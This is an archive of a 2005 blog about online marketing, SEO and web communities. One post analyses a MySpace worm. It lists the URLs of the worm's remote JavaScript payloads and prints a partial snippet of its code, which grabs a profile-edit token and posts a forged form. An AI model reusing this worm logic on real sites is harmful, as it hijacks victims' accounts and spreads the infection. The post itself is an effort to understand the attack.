In the off chance you ever wondered what it was like to get a front page link on SlashDot then you are in luck as SEOmoz has put up a post on their blog with all the wonderful details. In short they went from 1200 visitors a day to 35000 visitors in 2 days. Not bad.

mystery: myspace sends xents a half million hits

2005-12-08T08:55:00.000-08:00

So I know the webmaster over at xents.com (short url service) and he was telling me that five of their links produced an incredible half million hits in the last two days. Poor little box the site runs on was nearly buried alive. It appears that someone used the url redirection to load a remote javascript file on literally thousands of myspace pages. The problem is that neither of us can figure out what the file does or how it got so widely dispersed on myspace. Any smart people able to lend a clue?

Here is the javascript files:

http://home.doramail.com/90za:doramail.com/a.js
http://http://90za.biz.tc/b.js
http://90za.biz.tc/b.js
http://64.34.165.134/c.js
http://64.207.146.9/d.js

And here are 5 (of thousands) myspace profiles that loaded it. Warning, these pages may not be safe for work. Search the source for "xents" to see the javascript call:

Profile 1
Profile 2
Profile 3

Here is the hit count spike:

12/01/2005 1
12/02/2005 3
12/03/2005 3
12/04/2005 8
12/05/2005 916
12/06/2005 412888
12/07/2005 11610
12/08/2005 814

Would love to be able to publish more information.

UPDATE form digg user bonzooznob:

XSS hack in progress is my guess...

Since the file it points to, isn't there (yet), this may be a ticking time bomb...

(Similar to the Sober virus due to hit on Jan 5th, 2006)
http://www.f-secure.com/weblog/

If I was a MySpace user, and I had anything important on there, I would consider making a backup ;-)

UPDATE: If I'm ready this write it appears to be using javascript to pull data off the page and make a form submission to MySpace. Very clever. Anyone able to figure out more?

if(window.location.hostname=='profile.myspace.com'){
window.location.href='http://www.myspace.com'+location.pathname+location.search;
}else if (window.location.href.indexOf("http://editprofile.myspace.com/index.cfm?fuseaction=profile.basic") != -1 ){
window.location.href='http://profiles.myspace.com/';
}else{
occPage = request("http://www.myspace.com/index.cfm?fuseaction=profile.editBasic", "GET", null);
occPage.onreadystatechange = function (){
 if (occPage.readyState == 4) {
  if (occPage.status == 200) {
   currToken = getToken(occPage);
   var occVars = parseForm(occPage);
   var occForm = "http://www.myspace.com/index.cfm?fuseaction=profile.processBasic&Mytoken=" + currToken;
   addOcc = request(occForm, "POST", occVars);
  } else {
  }
 }
}

UPDATE: looks like this may not be the first time this has happened. Found a digg link from 25 days ago about the last MySpace worm. Also found some more information on how that worm worked.

dot tactics makes it up on hot links

2005-12-08T08:52:00.000-08:00

I was watching my traffic and saw some clicks come through from upian Hot Links. I've never looked at the site before but it has a nice approch to showing what topics are popular in the blog-o-sphere.

communities a hot topic

2005-12-07T20:13:00.000-08:00

So my little post about communities generated more interest than this blog ever has seen before (which isn't saying much, but still). To start with we got a few diggs and we made it up on threadwatch and tech.memeorandum. We also got a nice mention on both bubblegeneration and conversion rater. Emergic also has some nice thoughts posted. Big thanks for the shout outs guys!

Some interesting feedback has been created as well.

From conversion rater:

I’d like to see something that mergest the best of everything out there. Give me a Digg front page news system, combined with photo/media sharing like Flickr, profiles for social networking within the community to act as the user’s home page like Myspace, and perhaps some social bookmarking capabilities like del.icio.us.

From a comment by Adam:

I think there's something to be said about hobbyist communities, such as the uber-popular swing dancing forum at Yehoodi. There's no pre or post-modding of original posts or comments, but rather... threads that are perceived as particulary interesting or funny or otherwise valuable will end up constantly at the top of each sub-forum, since each new post brings a thread to the top (standard for most forum software).

From a comment by Rishi Khaitan:

You didn't mention sites like Memeorandum which leverage the existing decentralized blogsophere community that and then algorithmically figuring out what are the most important and popular topics at any given moment.

From bubblegeneration:

My kid sister is young enough to think that MySpace is corporate and lame. How do you think her generation is going to express and define itself?

From a comment by anonymous:

You didn't talk about wikipedia. Overall the things I like best in communities is where it is really easy (craigslist style) to start making posts to communities but where there is also a big reward (like digg) to sign up and become a full member. Its going to be hard to scale any community though and will probably require more oversight than digg, but less than slashdot.

There is a lot of possibility out there and no one seems to have found anything that can be as well used as usenet back in the day. The key will be to find something that will be like a reverse IM revolution, where instead of communicating being "instant" it can now be channeled into contributions to a longer lasting knowledge base that is shared and maintained by, well, everyone. In theory things like wikipedia and digg are already doing that, but they are too complex and tend to turn off readers rather then engaging them. IM doesn't have that problem. No one downloads AIM or Yahoo Messenger to listen, they download (and sign up) to talk!

For my part I still want to know more about the direction the Internet community expects community tools to go. What say you Internet? Got in a fresh ideas?

Beginner's Guide to Search Engine Optimization

2005-12-07T15:56:00.000-08:00

seamoz.org has a really nice document up with lots of tips for those just starting out building search optimized sites. Check it out here.

worn looking text using CSS

2005-12-06T15:06:00.000-08:00

Very good expose on how to do worn looking text effects using css and an image. Click here for the article or here to see all the different text effects this guy put together. Good info!

what does the future hold for communities?

2005-12-06T11:04:00.000-08:00

Search has, thanks to Google, dominated Internet innovation for years. But, while search has made our lives easier and put hundreds of gigabytes of useful data at our finger tips, it has also served to sterilize the Internet. Google isn't a club that you learn from and contribute to, it is an encyclopedia that you use when you know what you are looking for. But what if you don't know what you are looking for? How do you sort through all the news and information that gets added to the internet every day? That is where communities come in.

The entire Internet seems to be waiting with bated breath to see what will happen with communities on the Internet. Who's going to be big? Who's going to find something that works as well as eBay or Google? Almost every major new addition to the big three in recent months (be it Google base, local search, or Yahoo 360) has had the goal of better engaging users in the content creation process.

a simple search

Perhaps to best way to underpin this change and the need for communities is to try a search on Google. If you search for eBay on google you come up with stock information, spammy ads, and a ton of eBay sites. While this all looks good on paper it is based on an algorithm (pagerank) that gets less meaningful the more targeted the search. That is to say, it forces the less current results to the top. eBay is making news, but it is also making buzz, and you just can't find buzz through Google.

This is where communities come in. Communities provide a forum for users to decide what is important on any particular topic. They are also much more organic in their approach and quicker to let trash fall by the wayside as useful information rises to the top. They are also not in business to compete with search and, as such, feel no need to duplicate the reference nature of Google or Yahoo or Wikipedia or dmoz.org.

Consider a search for eBay on digg. What do you find? Well you find that people are selling fake xBoxs on eBay, you find an eBay Developers Challenge, and you find a coupon for %10 off your next winning auction. Now, the dynamic nature of digg means you may not find any of this information tomorrow, but you'll never have to sort through stock information, or a links to eBay, to see what the Internet is abuzz about.

But what makes sites like digg possible? And, more importantly, what keeps them useful? This is where community accountability comes in.

community accountability

There are a number of different models for accountability in online communities. Most exists with one common goal: to stop lame or spam posts and to encourage good posts. I've divided the varying types of accountability into four groups, represented by the largest communities using the approach.

The craigslist model

Users can post anything with only email verification. Posts go live instantly. Spam posts are taken care of by visitors who can flag posts as mis categorized, prohibited, or spam. The model as a whole is easy to use, doesn't require a signup, and is very flexible.

Administration Effort: 2/10
Community Involvement: 8/10
Reader Involvement: 6/10

The fark model

Any new link (or topic) has to be greenlighted by an administrator. Offensive comments are blocked by an administrator (or, in some cases, an algorithm). The model encourages quality (at least in the topics) but isn't very flexible. The fark model has been adapted to TotalFark, a premium "anything goes" community that is a little more adaptive.

Administration Effort: 6/10
Community Involvement: 5/10
Reader Involvement: 2/10

The slashdot model

Administrators oversee the creation and posting of topics, but the comments (where the real magic of slashdot can be found) are overseen by users who are randomly (in effect) assigned administration points. This lets them classify comments to make them more visible to readers or to mod them into oblivion if they aren't useful. The model encourages intelligent and entertaining discourse and rewards the best contributors with more exposure. The model is also very adaptive and flexible but still requires a large amount of administration oversight to keep the site and topics interesting.

Administration Effort: 5/10
Community Involvement: 8/10
Reader Involvement: 2/10

The digg model

Users have full control over administration and posting, but every post starts out at the bottom and must be "dug" up by "power" users who choose to monitor new posts on their favorite topic. Most digg posts fade into the background, but those that succeed quickly build steam until they reach the main page. The model is the most flexible of the bunch and does the best job turning readers into community members. The downside to the digg model is that often some of the better posts and comments are never recognized or given exposure because they fade into the noise of all the new activity.

Administration Effort: 2/10
Community Involvement: 9/10
Reader Involvement: 3/10

what is next?

There are other models and variations on these models out there, but this gives a good overview of the approaches currently being tried. The question I have is what will be the final model that will work? All of the above sites are targeted pretty tightly and so aren't useful unless you are looking specifically for the type of content or community they provide. What will it take to produce an adaptive model that will be like Google for community discussion and buzz?

Of all the sites I've looked at I think digg is the closest so far. Its difficultly is that it is primarily just a link and community news aggregator and provides a poor platform for posting your own content for discussion. It does nothing to replace fark for entertainment, slashdot for quality, or craigslist for classifieds and targeting. Likewise it is easy to see how changes, such as introducing user produced polls or photoshop threads, would detract instead of add to the community. Digg does, however, appear the best and combining low administration oversight with a high quality front page that is useful to the casual user and to the pro.

I realize no one has the perfect answer, but what winning features have you found in online communities and how would you scale them to a world wide market? Please post your thoughts.

wikipedia feels the pain

2005-12-05T09:52:00.000-08:00

There is a big article up on CNET about Wikipedia's growing pains. It talks about a former aid to Robert Kennedy being implicated in the assassination of both Kennedys for over four months before the article was taken down. There are other examples, many less gross, of how Wikipedia has grown so far and so fast that it has difficulty policing itself. Supposedly there are over 1500 new articles added a day. Quite a lot when you consider how quickly they go live and how little time volunteers have to police the articles before they are buried under the next day's listings. This is made worse by the sheer number of articles being updated and the fact that unless you are really interested in a topic, and watch the relevant articles like a hawk, there is a really good someone will change them when your back is turned and introduce fiction or spam.

With all that in mind, let me just say: what a fantastic problem to try and solve! I'll be interested to see how the free (and open source) market tries to deal with it. How would you deal with it?

css shadows

2005-11-30T09:14:00.000-08:00

Here is a good article showing how to use CSS to achieve the same shadow effect you can get from photoshop. This is also useful for people like me who are always trying to achieve some odd css layout "effect" without using tables.

google analytics, how does a single post impact blog traffic

2005-11-29T22:28:00.000-08:00

A few days ago I added google analytics to this blog so I could see how things were going. I don't get a lot of traffic but after an recent post I watched the traffic spike and the following tail from search traffic. It just goes to show how services like google blog search and technorati can provide a constant stream of traffic to regular updated blogs (know of any?)

Charts:

best SEO summary I've seen

2005-11-23T08:09:00.000-08:00

A new article up on lifehacker hits all the major points from robots.txt to using header (H1) tags. Well worth a look and a read.

yahoo goes social shopping

2005-11-15T09:26:00.000-08:00

Yahoo has been on a social service binge of late with Yahoo 360, MyWeb, and now Shoposphere. Yahoo has a post up on their blog with all the details.

google analytics

2005-11-14T09:09:00.000-08:00

No, they don't analyze google. They analyze you. Google Analytics is a new service just launched by google to help you optimize your search campaigns based on what terms convert the best. It appears to integrate well with adwords although you can also use it with other types of search campaigns.

the big digg

2005-11-14T09:05:00.000-08:00

For those looking for a little bit different take on technology news you may want to check out digg. digg takes user submitted news links and lets the community decided (via voting, or digging) which stories matter and should be on the same page. It is a simply enough idea, but has rapidly become huge in scope and amount of data.

Xents.com, create small urls

2005-09-01T08:48:00.000-07:00

Ever wanted to turn a long URL into a small URL? We'll I just helped launch a service that will let you enter a long URL (such as an ebay or yahoo maps link) and turn it into a short URL that is easy to bookmark and share with friends. The service is free and no signup is required.

Check it out: Xents.com - Throw away URLs

google tracking everything

2005-04-14T09:35:00.000-07:00

How much does google know? Search Engine Journal has a good story about the type of information Google is tracking (and potentially using) with their Adsense program. It has explains a possible reason why it is so easy for sites with poor content to get into the program. In short: Google may be showing ads on disreputable sites so they can track and filter out their fraudulent marketing tactics.

Interesting, no?

yahoo: free website for everyone

2005-04-14T09:22:00.000-07:00

To kick off Yahoo's growing Local Search services they are offering a free website to any and all business owners. The site integrates with Yahoo Local and is limited to those companies who both have a physical presence (no spiritual companies please) and serve a local area.

Search engine watch has more details here.

submitting to search engines in 400 easy steps

2005-04-06T07:14:00.000-07:00

Kalena Jordan over at Pandia has a good tutorial up about submitting your site to search engines. I like the part about submitting to dmoz.org and then waiting, and waiting, and waiting...

a look inside google

2005-04-03T09:19:00.000-07:00

University of Washington TV has a behind the scenes video report on Google. It is worth a look.

the best buys without rebates

2005-04-02T09:34:00.000-08:00

Just picked up an interesting marketing related tidbit. It appears Best Buy will stop offering rebates within two years. Offering mail in rebates let them market lower prices while forcing consumers to take action to actually receive the lower price (in a very limited amount of time after purchase). Naturally many consumers failed to meet their deadline and animosity ensued.

the start of search engine weather reports

2005-04-01T06:49:00.000-08:00

Yahoo has just announced that they updated their search index. They did so as part of an effort to better support publishers by providing them with regular "weather reports" of changes that could impact their search rankings. I think it is an excellent first step.

You can provide feedback on the updated index by emailing ystfeedback@yahoo.com.

wedding site finds blogging beneficial

2005-03-30T11:10:00.000-08:00

Rich Dudley writes into the LED Digest about the blog he recently added to his wedding store and says:

How's this: Two weeks ago, I added a blog to our site (www.bloomeryweddings.com/blog). On March 20, I posted an article announcing new collections of wedding accessories we added. On March 23, we received our first SE referrals for these new collections, via MSN Search. Depending on how you type in the collection names (try 'Beverly Clark Florenzia' for instance), we rank anywhere from 1 to 10 for these collections. 3 days, top 10 rankings. That's stellar.

The landing pages I create for each of these collections barely register in the SEs. The software I used (dasBlog) tracks referrals in, as well as click-throughs from the posts, and our cart tracks referrers. Two weeks is not enough time to dance about increased profits, but the early results are encouraging.

Good job Rich, I wish you continued success!

dot tactics receives complement, stalker

2005-03-30T09:57:00.000-08:00

Brad over at Snap posted a quick blurb about my article. Among other things he said:

Thanks individualist. You’re a great writer, and handsome, too!

Thank you Brad. My only question is, should I be concerned?

snap: the little search engine that might

2005-03-29T09:53:00.001-08:00

You have no doubt heard of The Little Engine That Could and how it overcame enormous obstacles to bring toys to the children on the other side of the mountain. Well Snap is not yet that kind of search engine, but if there is one thing that sticks out among this site's slick design and alternative take on search results then it is the distinct whisper that keeps repeating "I think I can! I think I can!"

There are a number of things that make Snap unique and intriguing, not least of which is the public discloser of their search stats (including total clicks and total revenue). Beyond adding transparency to the search engine, it also helps build curiosity and even visitor loyalty by allowing you to see just how well your favorite search engine is doing. The engine's blog seams to more or less serve the same purpose and is filled with subtle winks that let you know they don't take themselves too seriously.

It is on the search results page, however, where Snap really starts to come into its own. Offering a combination of click, sale, and lead based advertising, Snap appears to be targeting the long tail of online search by offering a combination of website and product results and publicly disclosing what Snap itself stands to gain from each transaction. An example search for digital camera brings up a plethora of vendors such as Best Buy, Wolf Camera, and Canon's own consumer site. It also includes a list of popular cameras and adds the ability to compare prices at various online outlets.

Beyond the commercial aspects of the results Snap is also trying to play with the standard ranking method most search engines use. From the Snap Tour:

"By knowing which sites users spend time on versus sites they quickly leave, Snap Rank provides results that get you what you want faster than pure algorithmic ranking."

Snap is an IdeaLab company and uses a pretty robust group of partners to bring everything to together. It is obvious that Snap still has a long way to go, but given the quality and innovation displayed in their current site I am sure they will find the success they seek. That said I only wish Snap would take over all those domain squatters who redirect me to meaningless search pages when I miss type URLs. If that happened then I might actually be tempted to buy something instead of yelling "Gluttonous Harpy!" and going to Google.

how yahoo got its groove back

2005-03-28T09:10:00.000-08:00

Good article here on how Yahoo is fighting back against Google and how many of its recent moves and acquisitions, while doing nothing for the bottom line, are winning the old portal the right kind of support from the fanatical web community that helped Google rise to the top.

how does google do it?

2005-03-25T15:41:00.000-08:00

Imagine if your employer told you that one day a week you can just work on whatever you feel like. Imagine that they actively encouraged it and made it so your reviews would be negatively impacted if you didn't do it. What would it be like? It would probably be a lot like Google. As Joe Beda notes here, Google's unique development philosophy has a very positive impact on company loyalty and overall innovation. Plus its just dang cool!

the robots.txt is not out to get you

2005-03-25T10:22:00.000-08:00

A few weeks ago I experienced the joy that comes with trying to remove a sensitive file from Google's cache. In the process I had to do some research on robots.txt and how meta tags can be used to exclude content from search engines. I also came across some good reference docs on Yahoo and Google to help webmasters build more search friendly sites.

So what is robots.txt anyway?

Well, to put it simply, it is a file you place in your root directory which tells robots, spiders, and webcrawlers what they CAN'T index. But what do you put in the file?

User-agent: googlebot
Disallow: dottactics.htm

The above command would exclude any crawler identifying itself as 'googlebot' from crawling the file named 'dottactics.htm'.

Here is another example:

User-agent: *
Disallow: /dottactics/

This uses the wild card character (*) to exclude ALL crawlers from the /dottactics directory.

There is no technological reason why spiders and bots can't crawl reserved files or directories, but virtually all of the major search engines honor the robot.txt. Want more information? This tutorial and dediacted forum should get you where you need to go.

startup success story

2005-03-22T09:04:00.000-08:00

Startup Nation has a great article on the guy who started ShopInPrivate.com. He toyed with the idea of opening up a chain of Peanut Butter and Jelly restaurants in mall food courts before leaving his job to sell personal items on the internet. Sometimes all it takes is an idea and a little bit of courage to get started.

taking the lead in blogging

2005-03-22T06:46:00.000-08:00

I just had a commentary on the topic of blogging published in the LED (pronounced lead) Digest. I recommend subscribing to the Digest, but since I know some of you won't I have included a copy of the commentary below.

In LED #1946 Ronni Rhodes asked if we might have a down to earth discussion on blogging, which is a lot like asking a group of singers to have a down to earth discussion about Stardom. There are people that are all hype and self promotion, people who are in it
mostly to amuse themselves, and people who have little ambition beyond entertaining family and friends. That is blogging. And often the best bloggers are doing it purely for the fun of it.

I just recently got into blogging (on my favorite topic of online marketing) and I did so for several reasons:

1. It helps me to practice writing.

2. It provides a handy place to collect the tips and links that I find useful.

3. It gives me an excuse to read all the tech news I read anyway.

4. It allows me to share what I have learned with anyone who passes by.

5. It will let me spotlight and get feedback when I test my own online marketing tactics.

But I didn't start the blog to make money.

As for as I can see the vast majority of online blogs (like the personal homepages that preceded them) have nothing to do with making money. Most don't even include affiliate links even when relevant products could be found. But some do try to generate income (or at least cover costs). Here are the approaches I've seen:

1. Adsense and Affiliate Links. A good example of this is cookingforengineers.com. It has a quirky topic and includes links to relevant merchants as well as Google's new famous text ad tower. They also highlight special deals at the top of the page.

2. Book (or other product) Promotion. Many people start blogs to help in promoting a new book or product that they helped to create or to distribute. They use the blog to highlight events and activities as well as highlight how the product can be purchased. A great way to use such a tactic would be to create a self-help book or ebook and then use the blog to answer reader questions.

3. Shameless Self Promotion. If there is any real business model for most blogs then this is it. Whether you are a designer, radio talk show host, doctor, or car mechanic there is nothing like walking into an interview and being able to tell your future boss "just google for my name and your problem and you will see that I've written about it extensively."

The reality is that if you create a really popular blog then you can make thousands of dollars a month in Advertising. But who can count on that? Blogging is about building a relationship of trust between the reader and author and is a very poor way to make a quick buck. That said, when it comes time to sell my condo I would gladly work with a Real Estate agent who's weekly blogging on the local market I had come to rely on.

That's my two cents anyway. I look forward to the discussion and I'm sure I'll learn a lot as I always do.

dot tactics makes it into blogarama

2005-03-21T14:45:00.000-08:00

Good news everyone! We are now listed in blogarama. We already have one review, but feel free to add more and support the cause if you wish.

a 411 on yahoo 360

2005-03-21T11:27:00.000-08:00

I found a good article on some of the features going into the soon to be released, MySpace like, Yahoo 360.

msn lets you go shopping

2005-03-21T11:24:00.000-08:00

MSN has introduced a shopping search engine. It is a little buggy but I found it more useful that Froogle, if less useful that Yahoo Shopping.

buying, selling, and booking

2005-03-21T08:04:00.000-08:00

There has been a flurry of activity over the past couple of days as the leading search services change hands, purchase other products, and deploy new functionality.

First on the list is the purchase of Ask Jeeves by InterActive Corp (owners of expedia and match.com among other things) for nearly $2 Billion. This could be fairly significant as they add the Ask.com search box to all the InterActive properties.

Second is the purchase of the photo sharing site Flickr by Yahoo. This probably had no real marketing impact, but shows Yahoo's willingness to hold onto their portal audience at all costs. See the post on the Yahoo Search blog.

Third is the full deployment of Google Print. Now if you search for things like Sherlock Holmes or Much Ado About Nothing (include the word "book" in your search) you will have access to the full text of the books. All books are scanned so you have to page through them, but it is still pretty cool. In does raise the question though, is anything safe from Google?

a free lunch is often flavored with spam

2005-03-18T16:29:00.000-08:00

Anyone seen those handy free iPOD ads? Ever wonder how that whole thing works? A few months ago I checked one out and helped inundate my hotmail account with even more spam than usual. In short, the way the offers basically work is to have you signup up for numerous types of ads, fill out numerous lead forms (for products or services you probably don't want), and make purchases or start subscriptions that will cost you money if you don't cancel them right away. In the end it is very hard to actually get a free iPOD (or Sarbucks Card, or whatever) without spending any money at all.

In my case I gave up, but this guy didn't and he has some really interesting insights into how the program works.

the simple act of manipulating search results

2005-03-18T10:37:00.000-08:00

"The search engines created the monster. It only exists because Google's algorithm places a lot of emphasis on link popularity."

Search Engine Optimization expert Greg Boser explains in this article how he manipulates linking loopholes in Search Engines to drive his clients to the top of the search results. Very good read with good perspective into how big this industry is and how much impact they have on the search results you see.

the promise of vertical search

2005-03-17T19:32:00.000-08:00

Just found a cool article talking about Vertical Search. For the record, vertical search engine are search engines that target a specific type of content, such as jobs or real estate. The irony is that I once helped build a vertical search engine. It was going along pretty good until it ran into legal problems.

how to start a start up

2005-03-16T11:14:00.000-08:00

I just need to say that this is one of the best "get real, you can do it" articles I have ever read.

msn to display search ads based on who you are

2005-03-16T09:31:00.000-08:00

“Microsoft's paid search platform will provide detailed -- but not personally identifiable -- information, such as gender, age and location, for many people who use its search engine, allowing advertisers to target their ads to a specific audience.”

From the sound of things this will apply if you login to Hotmail or other MSN portal applications. My big question, will just using MSN Messenger authenticate you against their ad placement software? If so I could see myself slowly switching to a less spyware like product (ICQ anyone?)

Read More...

yahoo invites users to predict search trends

2005-03-15T13:26:00.000-08:00

Yahoo Research Labs has just introduced a new online game called the Buzz Game. The idea is that you "buy" or speculate on stocks (as in fantasy stocks) represented by technology trends, and if the trend does well on Yahoo's Search Engine then your stock will go up.

For example, I purchased 161 shares of MySQL because I think its fortunes will only continue to improve as more and more companies explore free and open source solutions to commercial products. If more people search for MySQL on Yahoo then my investment will pay off and I can sell that stock and buy stock in another trend.

online poker, viagram, and other terms googlebombed

2005-03-15T01:13:00.000-08:00

So it seams bloggers are getting back at comment spammers by linking popular terms to helpful resources such as Wikipedia. Read the full details here.

For the record, a google bomb is the act of linking the same search term (online marketing for example) to the same url and putting that link on as many web pages as possible. If enough web pages (personal sites, blogs, etc) join the bomb then the website will get a page rank bounce and may end up at the top of the results.

Probably the most famous example is the search term miserable failure which currently has three results that do not even contain the term, but have been bombed to the top so as to make political statements.

what yahoo can do to compete with google

2005-03-14T08:28:00.000-08:00

TCS has a great read explaining how Yahoo can take on Google in the Adsense market. The thing that interests me would be the creation of other payout models beyond simply pay-per-click. I think that, depending on the ad, payout per view or per lead would be much more attractive both to certain advertisers and to certain publishers.

yahoo toolbar goes RSS

2005-03-14T08:18:00.000-08:00

Yahoo has just introduced RSS detection into their toolbar in order to allow you to add a feed to My Yahoo with just one click. While it is a nifty feature I still can't decide if I like having my RSS feeds collected onto a web page or into my bookmarks folder (as you can do easily with Firefox).

Here is the blog post: Yahoo! Toolbar Gets to Know RSS

anti-scam marketing, earn people's trust while fleecing them?

2005-03-10T20:30:00.000-08:00

I don't claim to know anything about the Secret Shopping industry, but I will say that it looks suspicious. I did a quick search for secret shopping on yahoo and while the top natural search happened to be Victoria's Secret, most of the Overture ads were focused on secret shopping and secret shopping scams.

Whats interesting to me is how can all these sites which claim to “help people” avoid scams afford to buy traffic off of Yahoo? See for yourself:

BeASecretShopper.Org

Top Site Reviews

Product Reviews

Consumer Protections Compnay

Mystery Shopping Scam Revealed

Notice anything funny? That's right. They all start with an article and they all end with “product reviews” designed to help people find legitimate companies to work with. Fortunately all of these companies charge a small fee which is no doubt shared with the helpful article's author.

For all I know these sites are all part of the same company, but it is interesting to see people market services from the standpoint of scam prevention. Hopefully people do enough clicking to figure out that the scam prevention isn't as angelic as it claims to be.

staying above the fold

2005-03-09T09:11:00.000-08:00

As you can see here, and here, and (of course) here, it has become really important that the forms a user fills out stay above the "fold" in the page. That is to say that the submit button at the bottom can still be seen without scrolling once the page is initially loaded. Gone are the days when everyone built forms that took three real pages to print. Now we have optimized marketing forms.

yahoo developers site

2005-03-09T09:07:00.000-08:00

Have you ever wanted to access Yahoo's search results? I know I have. Despite Google's dominance in the industry I have found Yahoo's results to very good and in certain cases (like images and local) better. If your interested in how to build software to use these results then you need to check this out.

proof that you want to be in the top 3

2005-03-09T08:45:00.000-08:00

A new user tracking study (where they watched the eye movement of searches) has found that it does indeed pay to be in the top set of natural search results. The full story can be found here.

Of note...

Organic Search Results Viewed:

Rank 1 - 100%
Rank 2 - 100%
Rank 3 - 100%
Rank 4 - 85%
Rank 5 - 60%
Rank 6 - 50%
Rank 7 - 50%
Rank 8 - 30%
Rank 9 - 30%
Rank 10 - 20%

google breaking its own rules?

2005-03-09T08:42:00.000-08:00

Check this out from SlashDot. Is google breaking its own keyword stuffing rules to promote its own services?

the need to LED (lead)

2005-03-08T17:40:00.000-08:00

Just a quick note to point out one of the best online marketing resources out there: the LED (pronounced lead) Digest. Check it out.

search engine optimization

2005-03-08T16:57:00.000-08:00

Someone sure hopes this will work: e-Battery.com

Check out the entire network:

overture no more

2005-03-08T16:55:00.000-08:00

Well, it has happened. Overture is no more. Enter Yahoo Search Marketing Solutions.

day one

2005-03-08T16:42:00.000-08:00

Welcome to the dot tactics blog! This is just a little blog I setup to post and comment on activities in the online marketing space. I love learning about advertising, search, and visitor conversion strategies and I decided it was finally time to join the blogging community with this passion.